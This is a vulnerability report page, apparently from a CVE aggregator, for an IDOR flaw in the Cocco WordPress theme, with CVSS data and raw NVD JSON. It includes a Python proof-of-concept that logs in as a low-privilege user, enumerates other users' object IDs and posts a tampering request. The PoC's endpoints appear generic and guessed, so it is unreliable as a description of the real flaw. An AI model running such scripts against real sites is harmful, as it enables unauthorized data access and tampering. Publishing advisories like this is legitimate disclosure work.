Security Vulnerability Report
中文
CVE-2026-22391 CVSS 5.4 MEDIUM

CVE-2026-22391

Published: 2026-01-22 17:16:33
Last Modified: 2026-04-28 19:36:34

Description

Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Cocco cocco allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cocco: from n/a through <= 1.5.1.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Mikado Cocco WordPress主题 <= 1.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22391 PoC - Mikado Cocco Theme IDOR Vulnerability import requests TARGET_URL = "http://target-wordpress-site.com" def exploit_idor(): """ This PoC demonstrates the IDOR vulnerability in Mikado Cocco theme. The theme fails to properly validate user authorization for object access. """ # Step 1: Authenticate as low-privilege user session = requests.Session() login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password' } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Enumerate accessible objects with low-privilege account # Modify the object_id parameter to access other users' resources target_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=get_object_data", f"{TARGET_URL}/?rest_route=/cocco/v1/user/data" ] for endpoint in target_endpoints: # Attempt to access objects with IDs 1-100 for object_id in range(1, 101): params = { 'object_id': object_id, # User-controlled key 'user_id': object_id # Attacker can modify this } response = session.get(endpoint, params=params) if response.status_code == 200 and 'sensitive_data' in response.text: print(f"[+] IDOR Success! Object ID: {object_id}") print(f"[+] Response: {response.text[:200]}") # Step 3: Modify protected resources (if write operations are vulnerable) modify_data = { 'object_id': 1, # Target victim's object 'action': 'update', 'sensitive_field': 'malicious_value' } session.post(endpoint, data=modify_data) if __name__ == "__main__": print("CVE-2026-22391 PoC - Mikado Cocco Theme IDOR") exploit_idor()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22391", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:32.713", "lastModified": "2026-04-28T19:36:33.850", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Cocco cocco allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cocco: from n/a through <= 1.5.1."}, {"lang": "es", "value": "Vulnerabilidad de elusión de autorización a través de clave controlada por el usuario en Mikado-Themes Cocco cocco permite explotar niveles de seguridad de control de acceso incorrectamente configurados. Este problema afecta a Cocco: desde n/a hasta &lt;= 1.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/cocco/vulnerability/wordpress-cocco-theme-1-5-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}